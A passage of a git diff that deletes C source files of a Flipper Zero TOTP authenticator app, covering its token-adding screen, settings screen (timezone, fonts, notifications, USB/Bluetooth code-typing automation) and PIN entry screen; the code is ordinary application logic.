Activates scene - * @param plugin_state application state - * @param scene scene to be activated - * @param context scene context to be passed to the scene activation method - */ -void totp_scene_director_activate_scene(PluginState* const plugin_state, Scene scene); - -/** - * @brief Deactivate current scene - * @param plugin_state application state - */ -void totp_scene_director_deactivate_active_scene(PluginState* const plugin_state); - -/** - * @brief Renders current scene - * @param canvas canvas to render at - * @param plugin_state application state - */ -void totp_scene_director_render(Canvas* const canvas, PluginState* const plugin_state); - -/** - * @brief Handles application event for the current scene - * @param event event to be handled - * @param plugin_state application state - * @return \c true if event handled and applilcation should continue; \c false if application should be closed - */ -bool totp_scene_director_handle_event(PluginEvent* const event, PluginState* const plugin_state); - -/** - * @brief Forces screen to be redraw\updated - * @param plugin_state application state - */ -void totp_scene_director_force_redraw(PluginState* const plugin_state); \ No newline at end of file diff --git a/applications/external/totp/ui/scenes/add_new_token/totp_input_text.c b/applications/external/totp/ui/scenes/add_new_token/totp_input_text.c deleted file mode 100644 index 389d651e7..000000000 --- a/applications/external/totp/ui/scenes/add_new_token/totp_input_text.c +++ /dev/null @@ -1,54 +0,0 @@ -#include "totp_input_text.h" - -#ifdef TOTP_UI_ADD_NEW_TOKEN_ENABLED -#include -#include - -typedef struct { - InputTextResult* result; - ViewDispatcher* view_dispatcher; -} InputTextContext; - -static void commit_text_input_callback(void* ctx) { - InputTextContext* context = ctx; - context->result->user_input_length = strnlen(context->result->user_input, INPUT_BUFFER_SIZE); - context->result->success = true; - view_dispatcher_stop(context->view_dispatcher); -} - -static bool back_event_callback(void* ctx) { - InputTextContext* context = ctx; - context->result->success = false; - view_dispatcher_stop(context->view_dispatcher); - return false; -} - -void totp_input_text(Gui* gui, const char* header_text, InputTextResult* result) { - ViewDispatcher* view_dispatcher = view_dispatcher_alloc(); - TextInput* text_input = text_input_alloc(); - InputTextContext context = {.result = result, .view_dispatcher = view_dispatcher}; - text_input_set_header_text(text_input, header_text); - text_input_set_result_callback( - text_input, - commit_text_input_callback, - &context, - result->user_input, - INPUT_BUFFER_SIZE, - true); - - view_dispatcher_enable_queue(view_dispatcher); - view_dispatcher_add_view(view_dispatcher, 0, text_input_get_view(text_input)); - - view_dispatcher_attach_to_gui(view_dispatcher, gui, ViewDispatcherTypeFullscreen); - - view_dispatcher_set_navigation_event_callback(view_dispatcher, &back_event_callback); - view_dispatcher_set_event_callback_context(view_dispatcher, &context); - view_dispatcher_switch_to_view(view_dispatcher, 0); - - view_dispatcher_run(view_dispatcher); - - view_dispatcher_remove_view(view_dispatcher, 0); - view_dispatcher_free(view_dispatcher); - text_input_free(text_input); -} -#endif diff --git a/applications/external/totp/ui/scenes/add_new_token/totp_input_text.h b/applications/external/totp/ui/scenes/add_new_token/totp_input_text.h deleted file mode 100644 index 89980ad35..000000000 --- a/applications/external/totp/ui/scenes/add_new_token/totp_input_text.h +++ /dev/null @@ -1,16 +0,0 @@ -#pragma once - -#include "../../../config/app/config.h" -#ifdef TOTP_UI_ADD_NEW_TOKEN_ENABLED -#include - -#define INPUT_BUFFER_SIZE (255) - -typedef struct { - char user_input[INPUT_BUFFER_SIZE]; - size_t user_input_length; - bool success; -} InputTextResult; - -void totp_input_text(Gui* gui, const char* header_text, InputTextResult* result); -#endif diff --git a/applications/external/totp/ui/scenes/add_new_token/totp_scene_add_new_token.c b/applications/external/totp/ui/scenes/add_new_token/totp_scene_add_new_token.c deleted file mode 100644 index ae0a7bd48..000000000 --- a/applications/external/totp/ui/scenes/add_new_token/totp_scene_add_new_token.c +++ /dev/null @@ -1,321 +0,0 @@ -#include "totp_scene_add_new_token.h" -#ifdef TOTP_UI_ADD_NEW_TOKEN_ENABLED -#include "../../../types/common.h" -#include "../../constants.h" -#include "../../scene_director.h" -#include "totp_input_text.h" -#include "../../../types/token_info.h" -#include "../../../services/config/config.h" -#include "../../ui_controls.h" -#include "../../common_dialogs.h" -#include - -char* TOKEN_ALGO_LIST[] = {"SHA1", "SHA256", "SHA512", "Steam"}; -char* TOKEN_DIGITS_TEXT_LIST[] = {"5 digits", "6 digits", "8 digits"}; -TokenDigitsCount TOKEN_DIGITS_VALUE_LIST[] = { - TokenDigitsCountFive, - TokenDigitsCountSix, - TokenDigitsCountEight}; - -typedef enum { - TokenNameTextBox, - TokenSecretTextBox, - TokenAlgoSelect, - TokenLengthSelect, - TokenDurationSelect, - ConfirmButton, -} Control; - -typedef struct { - char* token_name; - size_t token_name_length; - char* token_secret; - size_t token_secret_length; - bool saved; - Control selected_control; - int16_t screen_y_offset; - TokenHashAlgo algo; - uint8_t digits_count_index; - uint8_t duration; - FuriString* duration_text; -} SceneState; - -struct TotpAddContext { - SceneState* scene_state; - const CryptoSettings* crypto_settings; -}; - -enum TotpIteratorUpdateTokenResultsEx { TotpIteratorUpdateTokenResultInvalidSecret = 1 }; - -static void update_duration_text(SceneState* scene_state) { - furi_string_printf(scene_state->duration_text, "%d sec.", scene_state->duration); -} - -static TotpIteratorUpdateTokenResult add_token_handler(TokenInfo* tokenInfo, const void* context) { - const struct TotpAddContext* context_t = context; - if(!token_info_set_secret( - tokenInfo, - context_t->scene_state->token_secret, - context_t->scene_state->token_secret_length, - PlainTokenSecretEncodingBase32, - context_t->crypto_settings)) { - return TotpIteratorUpdateTokenResultInvalidSecret; - } - - furi_string_set_strn( - tokenInfo->name, - context_t->scene_state->token_name, - context_t->scene_state->token_name_length + 1); - tokenInfo->algo = context_t->scene_state->algo; - tokenInfo->digits = TOKEN_DIGITS_VALUE_LIST[context_t->scene_state->digits_count_index]; - tokenInfo->duration = context_t->scene_state->duration; - - return TotpIteratorUpdateTokenResultSuccess; -} - -static void ask_user_input( - const PluginState* plugin_state, - const char* header, - char** user_input, - size_t* user_input_length) { - InputTextResult input_result; - if(*user_input != NULL) { - strlcpy(input_result.user_input, *user_input, INPUT_BUFFER_SIZE); - } - - totp_input_text(plugin_state->gui, header, &input_result); - if(input_result.success) { - if(*user_input != NULL) { - free(*user_input); - } - *user_input = strdup(input_result.user_input); - *user_input_length = input_result.user_input_length; - } -} - -void totp_scene_add_new_token_activate(PluginState* plugin_state) { - SceneState* scene_state = malloc(sizeof(SceneState)); - furi_check(scene_state != NULL); - plugin_state->current_scene_state = scene_state; - scene_state->token_name = "Name"; - scene_state->token_name_length = strlen(scene_state->token_name); - scene_state->token_secret = "Secret"; - scene_state->token_secret_length = strlen(scene_state->token_secret); - - scene_state->screen_y_offset = 0; - - scene_state->digits_count_index = 1; - - scene_state->duration = TokenDurationDefault; - scene_state->duration_text = furi_string_alloc(); - update_duration_text(scene_state); -} - -void totp_scene_add_new_token_render(Canvas* const canvas, const PluginState* plugin_state) { - const SceneState* scene_state = plugin_state->current_scene_state; - - ui_control_text_box_render( - canvas, - 10 - scene_state->screen_y_offset, - scene_state->token_name, - scene_state->selected_control == TokenNameTextBox); - ui_control_text_box_render( - canvas, - 27 - scene_state->screen_y_offset, - scene_state->token_secret, - scene_state->selected_control == TokenSecretTextBox); - ui_control_select_render( - canvas, - 0, - 44 - scene_state->screen_y_offset, - SCREEN_WIDTH, - TOKEN_ALGO_LIST[scene_state->algo], - scene_state->selected_control == TokenAlgoSelect); - ui_control_select_render( - canvas, - 0, - 61 - scene_state->screen_y_offset, - SCREEN_WIDTH, - TOKEN_DIGITS_TEXT_LIST[scene_state->digits_count_index], - scene_state->selected_control == TokenLengthSelect); - - ui_control_select_render( - canvas, - 0, - 78 - scene_state->screen_y_offset, - SCREEN_WIDTH, - furi_string_get_cstr(scene_state->duration_text), - scene_state->selected_control == TokenDurationSelect); - - ui_control_button_render( - canvas, - SCREEN_WIDTH_CENTER - 24, - 101 - scene_state->screen_y_offset, - 48, - 13, - "Confirm", - scene_state->selected_control == ConfirmButton); - - canvas_set_color(canvas, ColorWhite); - canvas_draw_box(canvas, 0, 0, SCREEN_WIDTH, 10); - canvas_set_color(canvas, ColorBlack); - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned(canvas, 0, 0, AlignLeft, AlignTop, "Add new token"); - canvas_set_font(canvas, FontSecondary); -} - -void update_screen_y_offset(SceneState* scene_state) { - if(scene_state->selected_control > TokenLengthSelect) { - scene_state->screen_y_offset = 51; - } else if(scene_state->selected_control > TokenAlgoSelect) { - scene_state->screen_y_offset = 34; - } else if(scene_state->selected_control > TokenSecretTextBox) { - scene_state->screen_y_offset = 17; - } else { - scene_state->screen_y_offset = 0; - } -} - -bool totp_scene_add_new_token_handle_event( - const PluginEvent* const event, - PluginState* plugin_state) { - if(event->type != EventTypeKey) { - return true; - } - - SceneState* scene_state = plugin_state->current_scene_state; - - if(event->input.type == InputTypePress) { - switch(event->input.key) { - case InputKeyUp: - totp_roll_value_uint8_t( - &scene_state->selected_control, - -1, - TokenNameTextBox, - ConfirmButton, - RollOverflowBehaviorStop); - update_screen_y_offset(scene_state); - break; - case InputKeyDown: - totp_roll_value_uint8_t( - &scene_state->selected_control, - 1, - TokenNameTextBox, - ConfirmButton, - RollOverflowBehaviorStop); - update_screen_y_offset(scene_state); - break; - case InputKeyRight: - if(scene_state->selected_control == TokenAlgoSelect) { - totp_roll_value_uint8_t( - &scene_state->algo, - 1, - TokenHashAlgoSha1, - TokenHashAlgoSteam, - RollOverflowBehaviorRoll); - } else if(scene_state->selected_control == TokenLengthSelect) { - totp_roll_value_uint8_t( - &scene_state->digits_count_index, 1, 0, 2, RollOverflowBehaviorRoll); - } else if(scene_state->selected_control == TokenDurationSelect) { - totp_roll_value_uint8_t( - &scene_state->duration, 15, 15, 255, RollOverflowBehaviorStop); - update_duration_text(scene_state); - } - break; - case InputKeyLeft: - if(scene_state->selected_control == TokenAlgoSelect) { - totp_roll_value_uint8_t( - &scene_state->algo, - -1, - TokenHashAlgoSha1, - TokenHashAlgoSteam, - RollOverflowBehaviorRoll); - } else if(scene_state->selected_control == TokenLengthSelect) { - totp_roll_value_uint8_t( - &scene_state->digits_count_index, -1, 0, 2, RollOverflowBehaviorRoll); - } else if(scene_state->selected_control == TokenDurationSelect) { - totp_roll_value_uint8_t( - &scene_state->duration, -15, 15, 255, RollOverflowBehaviorStop); - update_duration_text(scene_state); - } - break; - case InputKeyOk: - break; - case InputKeyBack: - totp_scene_director_activate_scene(plugin_state, TotpSceneGenerateToken); - break; - default: - break; - } - } else if(event->input.type == InputTypeRelease && event->input.key == InputKeyOk) { - switch(scene_state->selected_control) { - case TokenNameTextBox: - ask_user_input( - plugin_state, - "Token name", - &scene_state->token_name, - &scene_state->token_name_length); - break; - case TokenSecretTextBox: - ask_user_input( - plugin_state, - "Token secret", - &scene_state->token_secret, - &scene_state->token_secret_length); - break; - case TokenAlgoSelect: - break; - case TokenLengthSelect: - break; - case TokenDurationSelect: - break; - case ConfirmButton: { - struct TotpAddContext add_context = { - .scene_state = scene_state, .crypto_settings = &plugin_state->crypto_settings}; - TokenInfoIteratorContext* iterator_context = - totp_config_get_token_iterator_context(plugin_state); - TotpIteratorUpdateTokenResult add_result = totp_token_info_iterator_add_new_token( - iterator_context, &add_token_handler, &add_context); - - if(add_result == TotpIteratorUpdateTokenResultSuccess) { - totp_scene_director_activate_scene(plugin_state, TotpSceneGenerateToken); - } else if(add_result == TotpIteratorUpdateTokenResultInvalidSecret) { - DialogMessage* message = dialog_message_alloc(); - dialog_message_set_buttons(message, "Back", NULL, NULL); - dialog_message_set_text( - message, - "Token secret is invalid", - SCREEN_WIDTH_CENTER, - SCREEN_HEIGHT_CENTER, - AlignCenter, - AlignCenter); - dialog_message_show(plugin_state->dialogs_app, message); - dialog_message_free(message); - scene_state->selected_control = TokenSecretTextBox; - update_screen_y_offset(scene_state); - } else if(add_result == TotpIteratorUpdateTokenResultFileUpdateFailed) { - totp_dialogs_config_updating_error(plugin_state); - } - - break; - } - default: - break; - } - } - - return true; -} - -void totp_scene_add_new_token_deactivate(PluginState* plugin_state) { - if(plugin_state->current_scene_state == NULL) return; - SceneState* scene_state = (SceneState*)plugin_state->current_scene_state; - free(scene_state->token_name); - free(scene_state->token_secret); - - furi_string_free(scene_state->duration_text); - - free(plugin_state->current_scene_state); - plugin_state->current_scene_state = NULL; -} -#endif diff --git a/applications/external/totp/ui/scenes/add_new_token/totp_scene_add_new_token.h b/applications/external/totp/ui/scenes/add_new_token/totp_scene_add_new_token.h deleted file mode 100644 index 686cbe37c..000000000 --- a/applications/external/totp/ui/scenes/add_new_token/totp_scene_add_new_token.h +++ /dev/null @@ -1,15 +0,0 @@ -#pragma once - -#include "../../../config/app/config.h" -#ifdef TOTP_UI_ADD_NEW_TOKEN_ENABLED -#include -#include "../../../types/plugin_state.h" -#include "../../../types/plugin_event.h" - -void totp_scene_add_new_token_activate(PluginState* plugin_state); -void totp_scene_add_new_token_render(Canvas* const canvas, const PluginState* plugin_state); -bool totp_scene_add_new_token_handle_event( - const PluginEvent* const event, - PluginState* plugin_state); -void totp_scene_add_new_token_deactivate(PluginState* plugin_state); -#endif diff --git a/applications/external/totp/ui/scenes/app_settings/totp_app_settings.c b/applications/external/totp/ui/scenes/app_settings/totp_app_settings.c deleted file mode 100644 index 9369ad44d..000000000 --- a/applications/external/totp/ui/scenes/app_settings/totp_app_settings.c +++ /dev/null @@ -1,374 +0,0 @@ -#include "totp_app_settings.h" -#include -#include "totp_icons.h" -#include -#include -#include "../../canvas_extensions.h" -#include "../../ui_controls.h" -#include "../../common_dialogs.h" -#include "../../scene_director.h" -#include "../../constants.h" -#include "../../../services/config/config.h" -#include "../../../services/convert/convert.h" -#include -#include "../../../config/app/config.h" -#ifdef TOTP_BADBT_AUTOMATION_ENABLED -#include "../../../workers/bt_type_code/bt_type_code.h" -#endif - -#ifdef TOTP_BADBT_AUTOMATION_ENABLED -#define AUTOMATION_LIST_MAX_INDEX (3) -#else -#define AUTOMATION_LIST_MAX_INDEX (1) -#endif -#define BAD_KB_LAYOUT_LIST_MAX_INDEX (1) -#define FONT_TEST_STR_LENGTH (7) - -static const char* YES_NO_LIST[] = {"NO", "YES"}; -static const char* AUTOMATION_LIST[] = { - "None", - "USB" -#ifdef TOTP_BADBT_AUTOMATION_ENABLED - , - "Bluetooth", - "BT and USB" -#endif -}; -static const char* BAD_KB_LAYOUT_LIST[] = {"QWERTY", "AZERTY"}; -static const char* FONT_TEST_STR = "0123BCD"; - -typedef enum { - HoursInput, - MinutesInput, - FontSelect, - SoundSwitch, - VibroSwitch, - AutomationSwitch, - BadKeyboardLayoutSelect, - ConfirmButton -} Control; - -typedef struct { - int8_t tz_offset_hours; - uint8_t tz_offset_minutes; - bool notification_sound; - bool notification_vibro; - AutomationMethod automation_method; - uint16_t y_offset; - AutomationKeyboardLayout automation_kb_layout; - Control selected_control; - uint8_t active_font; -} SceneState; - -void totp_scene_app_settings_activate(PluginState* plugin_state) { - SceneState* scene_state = malloc(sizeof(SceneState)); - furi_check(scene_state != NULL); - plugin_state->current_scene_state = scene_state; - - float off_int; - float off_dec = modff(plugin_state->timezone_offset, &off_int); - scene_state->tz_offset_hours = off_int; - scene_state->tz_offset_minutes = 60.0f * off_dec; - scene_state->notification_sound = plugin_state->notification_method & NotificationMethodSound; - scene_state->notification_vibro = plugin_state->notification_method & NotificationMethodVibro; - scene_state->automation_method = - MIN(plugin_state->automation_method, AUTOMATION_LIST_MAX_INDEX); - scene_state->automation_kb_layout = - MIN(plugin_state->automation_kb_layout, BAD_KB_LAYOUT_LIST_MAX_INDEX); - - scene_state->active_font = plugin_state->active_font_index; -} - -static void two_digit_to_str(int8_t num, char* str) { - char* s = str; - if(num < 0) { - *(s++) = '-'; - num = -num; - } - - uint8_t d1 = (num / 10) % 10; - uint8_t d2 = num % 10; - *(s++) = CONVERT_DIGIT_TO_CHAR(d1); - *(s++) = CONVERT_DIGIT_TO_CHAR(d2); - *(s++) = '\0'; -} - -void totp_scene_app_settings_render(Canvas* const canvas, const PluginState* plugin_state) { - const SceneState* scene_state = plugin_state->current_scene_state; - if(scene_state->selected_control < FontSelect) { - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned( - canvas, 0, 0 - scene_state->y_offset, AlignLeft, AlignTop, "Timezone offset"); - canvas_set_font(canvas, FontSecondary); - - char tmp_str[4]; - two_digit_to_str(scene_state->tz_offset_hours, &tmp_str[0]); - canvas_draw_str_aligned( - canvas, 0, 17 - scene_state->y_offset, AlignLeft, AlignTop, "Hours:"); - ui_control_select_render( - canvas, - 36, - 10 - scene_state->y_offset, - SCREEN_WIDTH - 36 - UI_CONTROL_VSCROLL_WIDTH, - &tmp_str[0], - scene_state->selected_control == HoursInput); - - two_digit_to_str(scene_state->tz_offset_minutes, &tmp_str[0]); - canvas_draw_str_aligned( - canvas, 0, 35 - scene_state->y_offset, AlignLeft, AlignTop, "Minutes:"); - ui_control_select_render( - canvas, - 36, - 28 - scene_state->y_offset, - SCREEN_WIDTH - 36 - UI_CONTROL_VSCROLL_WIDTH, - &tmp_str[0], - scene_state->selected_control == MinutesInput); - - } else if(scene_state->selected_control < SoundSwitch) { - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned( - canvas, 0, 64 - scene_state->y_offset, AlignLeft, AlignTop, "Font"); - canvas_set_font(canvas, FontSecondary); - - const FONT_INFO* const font = available_fonts[scene_state->active_font]; - ui_control_select_render( - canvas, - 0, - 74 - scene_state->y_offset, - SCREEN_WIDTH - UI_CONTROL_VSCROLL_WIDTH, - font->name, - scene_state->selected_control == FontSelect); - - uint8_t font_x_offset = - SCREEN_WIDTH_CENTER - - (((font->charInfo[0].width + font->spacePixels) * FONT_TEST_STR_LENGTH) >> 1); - uint8_t font_y_offset = 108 - scene_state->y_offset - (font->height >> 1); - canvas_draw_str_ex( - canvas, font_x_offset, font_y_offset, FONT_TEST_STR, FONT_TEST_STR_LENGTH, font); - - } else if(scene_state->selected_control < AutomationSwitch) { - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned( - canvas, 0, 128 - scene_state->y_offset, AlignLeft, AlignTop, "Notifications"); - canvas_set_font(canvas, FontSecondary); - - canvas_draw_str_aligned( - canvas, 0, 145 - scene_state->y_offset, AlignLeft, AlignTop, "Sound:"); - ui_control_select_render( - canvas, - 36, - 138 - scene_state->y_offset, - SCREEN_WIDTH - 36 - UI_CONTROL_VSCROLL_WIDTH, - YES_NO_LIST[scene_state->notification_sound], - scene_state->selected_control == SoundSwitch); - - canvas_draw_str_aligned( - canvas, 0, 163 - scene_state->y_offset, AlignLeft, AlignTop, "Vibro:"); - ui_control_select_render( - canvas, - 36, - 156 - scene_state->y_offset, - SCREEN_WIDTH - 36 - UI_CONTROL_VSCROLL_WIDTH, - YES_NO_LIST[scene_state->notification_vibro], - scene_state->selected_control == VibroSwitch); - } else { - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned( - canvas, 0, 192 - scene_state->y_offset, AlignLeft, AlignTop, "Automation"); - canvas_set_font(canvas, FontSecondary); - - canvas_draw_str_aligned( - canvas, 0, 209 - scene_state->y_offset, AlignLeft, AlignTop, "Method:"); - ui_control_select_render( - canvas, - 36, - 202 - scene_state->y_offset, - SCREEN_WIDTH - 36 - UI_CONTROL_VSCROLL_WIDTH, - AUTOMATION_LIST[scene_state->automation_method], - scene_state->selected_control == AutomationSwitch); - - canvas_draw_str_aligned( - canvas, 0, 227 - scene_state->y_offset, AlignLeft, AlignTop, "Layout:"); - - ui_control_select_render( - canvas, - 36, - 220 - scene_state->y_offset, - SCREEN_WIDTH - 36 - UI_CONTROL_VSCROLL_WIDTH, - BAD_KB_LAYOUT_LIST[scene_state->automation_kb_layout], - scene_state->selected_control == BadKeyboardLayoutSelect); - - ui_control_button_render( - canvas, - SCREEN_WIDTH_CENTER - 24, - 242 - scene_state->y_offset, - 48, - 13, - "Confirm", - scene_state->selected_control == ConfirmButton); - } - - ui_control_vscroll_render( - canvas, SCREEN_WIDTH - 3, 0, SCREEN_HEIGHT, scene_state->selected_control, ConfirmButton); -} - -bool totp_scene_app_settings_handle_event( - const PluginEvent* const event, - PluginState* plugin_state) { - if(event->type != EventTypeKey) { - return true; - } - - SceneState* scene_state = (SceneState*)plugin_state->current_scene_state; - if(event->input.type == InputTypePress || event->input.type == InputTypeRepeat) { - switch(event->input.key) { - case InputKeyUp: - totp_roll_value_uint8_t( - &scene_state->selected_control, - -1, - HoursInput, - ConfirmButton, - RollOverflowBehaviorStop); - if(scene_state->selected_control > VibroSwitch) { - scene_state->y_offset = SCREEN_HEIGHT * 3; - } else if(scene_state->selected_control > FontSelect) { - scene_state->y_offset = SCREEN_HEIGHT * 2; - } else if(scene_state->selected_control > MinutesInput) { - scene_state->y_offset = SCREEN_HEIGHT; - } else { - scene_state->y_offset = 0; - } - break; - case InputKeyDown: - totp_roll_value_uint8_t( - &scene_state->selected_control, - 1, - HoursInput, - ConfirmButton, - RollOverflowBehaviorStop); - if(scene_state->selected_control > VibroSwitch) { - scene_state->y_offset = SCREEN_HEIGHT * 3; - } else if(scene_state->selected_control > FontSelect) { - scene_state->y_offset = SCREEN_HEIGHT * 2; - } else if(scene_state->selected_control > MinutesInput) { - scene_state->y_offset = SCREEN_HEIGHT; - } else { - scene_state->y_offset = 0; - } - break; - case InputKeyRight: - if(scene_state->selected_control == HoursInput) { - totp_roll_value_int8_t( - &scene_state->tz_offset_hours, 1, -12, 12, RollOverflowBehaviorStop); - } else if(scene_state->selected_control == MinutesInput) { - totp_roll_value_uint8_t( - &scene_state->tz_offset_minutes, 15, 0, 45, RollOverflowBehaviorRoll); - } else if(scene_state->selected_control == FontSelect) { - totp_roll_value_uint8_t( - &scene_state->active_font, - 1, - 0, - AVAILABLE_FONTS_COUNT - 1, - RollOverflowBehaviorRoll); - } else if(scene_state->selected_control == SoundSwitch) { - scene_state->notification_sound = !scene_state->notification_sound; - } else if(scene_state->selected_control == VibroSwitch) { - scene_state->notification_vibro = !scene_state->notification_vibro; - } else if(scene_state->selected_control == AutomationSwitch) { - totp_roll_value_uint8_t( - &scene_state->automation_method, - 1, - 0, - AUTOMATION_LIST_MAX_INDEX, - RollOverflowBehaviorRoll); - } else if(scene_state->selected_control == BadKeyboardLayoutSelect) { - totp_roll_value_uint8_t( - &scene_state->automation_kb_layout, - 1, - 0, - BAD_KB_LAYOUT_LIST_MAX_INDEX, - RollOverflowBehaviorRoll); - } - break; - case InputKeyLeft: - if(scene_state->selected_control == HoursInput) { - totp_roll_value_int8_t( - &scene_state->tz_offset_hours, -1, -12, 12, RollOverflowBehaviorStop); - } else if(scene_state->selected_control == MinutesInput) { - totp_roll_value_uint8_t( - &scene_state->tz_offset_minutes, -15, 0, 45, RollOverflowBehaviorRoll); - } else if(scene_state->selected_control == FontSelect) { - totp_roll_value_uint8_t( - &scene_state->active_font, - -1, - 0, - AVAILABLE_FONTS_COUNT - 1, - RollOverflowBehaviorRoll); - } else if(scene_state->selected_control == SoundSwitch) { - scene_state->notification_sound = !scene_state->notification_sound; - } else if(scene_state->selected_control == VibroSwitch) { - scene_state->notification_vibro = !scene_state->notification_vibro; - } else if(scene_state->selected_control == AutomationSwitch) { - totp_roll_value_uint8_t( - &scene_state->automation_method, - -1, - 0, - AUTOMATION_LIST_MAX_INDEX, - RollOverflowBehaviorRoll); - } else if(scene_state->selected_control == BadKeyboardLayoutSelect) { - totp_roll_value_uint8_t( - &scene_state->automation_kb_layout, - -1, - 0, - BAD_KB_LAYOUT_LIST_MAX_INDEX, - RollOverflowBehaviorRoll); - } - break; - case InputKeyOk: - break; - case InputKeyBack: { - totp_scene_director_activate_scene(plugin_state, TotpSceneTokenMenu); - break; - } - default: - break; - } - } else if( - event->input.type == InputTypeRelease && event->input.key == InputKeyOk && - scene_state->selected_control == ConfirmButton) { - plugin_state->timezone_offset = - (float)scene_state->tz_offset_hours + (float)scene_state->tz_offset_minutes / 60.0f; - - plugin_state->notification_method = - (scene_state->notification_sound ? NotificationMethodSound : NotificationMethodNone) | - (scene_state->notification_vibro ? NotificationMethodVibro : NotificationMethodNone); - - plugin_state->automation_method = scene_state->automation_method; - plugin_state->active_font_index = scene_state->active_font; - plugin_state->automation_kb_layout = scene_state->automation_kb_layout; - - if(!totp_config_file_update_user_settings(plugin_state)) { - totp_dialogs_config_updating_error(plugin_state); - return false; - } - -#ifdef TOTP_BADBT_AUTOMATION_ENABLED - if((scene_state->automation_method & AutomationMethodBadBt) == 0 && - plugin_state->bt_type_code_worker_context != NULL) { - totp_bt_type_code_worker_free(plugin_state->bt_type_code_worker_context); - plugin_state->bt_type_code_worker_context = NULL; - } -#endif - - totp_scene_director_activate_scene(plugin_state, TotpSceneTokenMenu); - } - - return true; -} - -void totp_scene_app_settings_deactivate(PluginState* plugin_state) { - if(plugin_state->current_scene_state == NULL) return; - - free(plugin_state->current_scene_state); - plugin_state->current_scene_state = NULL; -} diff --git a/applications/external/totp/ui/scenes/app_settings/totp_app_settings.h b/applications/external/totp/ui/scenes/app_settings/totp_app_settings.h deleted file mode 100644 index e54aab87b..000000000 --- a/applications/external/totp/ui/scenes/app_settings/totp_app_settings.h +++ /dev/null @@ -1,12 +0,0 @@ -#pragma once - -#include -#include "../../../types/plugin_state.h" -#include "../../../types/plugin_event.h" - -void totp_scene_app_settings_activate(PluginState* plugin_state); -void totp_scene_app_settings_render(Canvas* const canvas, const PluginState* plugin_state); -bool totp_scene_app_settings_handle_event( - const PluginEvent* const event, - PluginState* plugin_state); -void totp_scene_app_settings_deactivate(PluginState* plugin_state); \ No newline at end of file diff --git a/applications/external/totp/ui/scenes/authenticate/totp_scene_authenticate.c b/applications/external/totp/ui/scenes/authenticate/totp_scene_authenticate.c deleted file mode 100644 index 6913b99e8..000000000 --- a/applications/external/totp/ui/scenes/authenticate/totp_scene_authenticate.c +++ /dev/null @@ -1,167 +0,0 @@ -#include "totp_scene_authenticate.h" -#include -#include "totp_icons.h" -#include -#include "../../../types/common.h" -#include "../../constants.h" -#include "../../../services/config/config.h" -#include "../../scene_director.h" -#include "../../totp_scenes_enum.h" -#include "../../../services/crypto/crypto_facade.h" -#include "../../../types/user_pin_codes.h" - -#define MAX_CODE_LENGTH CRYPTO_IV_LENGTH -static const uint8_t PIN_ASTERISK_RADIUS = 3; -static const uint8_t PIN_ASTERISK_STEP = (PIN_ASTERISK_RADIUS << 1) + 2; - -typedef struct { - TotpUserPinCode code_input[MAX_CODE_LENGTH]; - uint8_t code_length; -} SceneState; - -void totp_scene_authenticate_activate(PluginState* plugin_state) { - SceneState* scene_state = malloc(sizeof(SceneState)); - furi_check(scene_state != NULL); - scene_state->code_length = 0; - memset(&scene_state->code_input[0], 0, MAX_CODE_LENGTH); - plugin_state->current_scene_state = scene_state; - memset(&plugin_state->crypto_settings.iv[0], 0, CRYPTO_IV_LENGTH); -} - -void totp_scene_authenticate_render(Canvas* const canvas, PluginState* plugin_state) { - const SceneState* scene_state = (SceneState*)plugin_state->current_scene_state; - - int v_shift = 0; - if(scene_state->code_length > 0) { - v_shift = -10; - } - - if(plugin_state->crypto_settings.crypto_verify_data == NULL) { - canvas_draw_str_aligned( - canvas, - SCREEN_WIDTH_CENTER, - SCREEN_HEIGHT_CENTER - 10 + v_shift, - AlignCenter, - AlignCenter, - "Use arrow keys"); - canvas_draw_str_aligned( - canvas, - SCREEN_WIDTH_CENTER, - SCREEN_HEIGHT_CENTER + 5 + v_shift, - AlignCenter, - AlignCenter, - "to setup new PIN"); - } else { - canvas_draw_str_aligned( - canvas, - SCREEN_WIDTH_CENTER, - SCREEN_HEIGHT_CENTER + v_shift, - AlignCenter, - AlignCenter, - "Use arrow keys to enter PIN"); - } - - if(scene_state->code_length > 0) { - uint8_t left_start_x = ((scene_state->code_length - 1) * PIN_ASTERISK_STEP) >> 1; - for(uint8_t i = 0; i < scene_state->code_length; i++) { - canvas_draw_disc( - canvas, - SCREEN_WIDTH_CENTER - left_start_x + i * PIN_ASTERISK_STEP, - SCREEN_HEIGHT_CENTER + 10, - PIN_ASTERISK_RADIUS); - } - } -} - -bool totp_scene_authenticate_handle_event( - const PluginEvent* const event, - PluginState* plugin_state) { - if(event->type != EventTypeKey) { - return true; - } - - if(event->input.type == InputTypeLong && event->input.key == InputKeyBack) { - return false; - } - - SceneState* scene_state = plugin_state->current_scene_state; - if(event->input.type == InputTypePress) { - switch(event->input.key) { - case InputKeyUp: - if(scene_state->code_length < MAX_CODE_LENGTH) { - scene_state->code_input[scene_state->code_length] = PinCodeArrowUp; - scene_state->code_length++; - } - break; - case InputKeyDown: - if(scene_state->code_length < MAX_CODE_LENGTH) { - scene_state->code_input[scene_state->code_length] = PinCodeArrowDown; - scene_state->code_length++; - } - break; - case InputKeyRight: - if(scene_state->code_length < MAX_CODE_LENGTH) { - scene_state->code_input[scene_state->code_length] = PinCodeArrowRight; - scene_state->code_length++; - } - break; - case InputKeyLeft: - if(scene_state->code_length < MAX_CODE_LENGTH) { - scene_state->code_input[scene_state->code_length] = PinCodeArrowLeft; - scene_state->code_length++; - } - break; - case InputKeyOk: - break; - case InputKeyBack: - if(scene_state->code_length > 0) { - scene_state->code_input[scene_state->code_length - 1] = 0; - scene_state->code_length--; - } - break; - default: - break; - } - } else if(event->input.type == InputTypeRelease && event->input.key == InputKeyOk) { - CryptoSeedIVResult seed_result = totp_crypto_seed_iv( - &plugin_state->crypto_settings, &scene_state->code_input[0], scene_state->code_length); - - if(seed_result & CryptoSeedIVResultFlagSuccess && - seed_result & CryptoSeedIVResultFlagNewCryptoVerifyData) { - totp_config_file_update_crypto_signatures(plugin_state); - } - - if(totp_crypto_verify_key(&plugin_state->crypto_settings)) { - FURI_LOG_D(LOGGING_TAG, "PIN is valid"); - totp_config_file_ensure_latest_encryption( - plugin_state, &scene_state->code_input[0], scene_state->code_length); - totp_scene_director_activate_scene(plugin_state, TotpSceneGenerateToken); - } else { - FURI_LOG_D(LOGGING_TAG, "PIN is NOT valid"); - 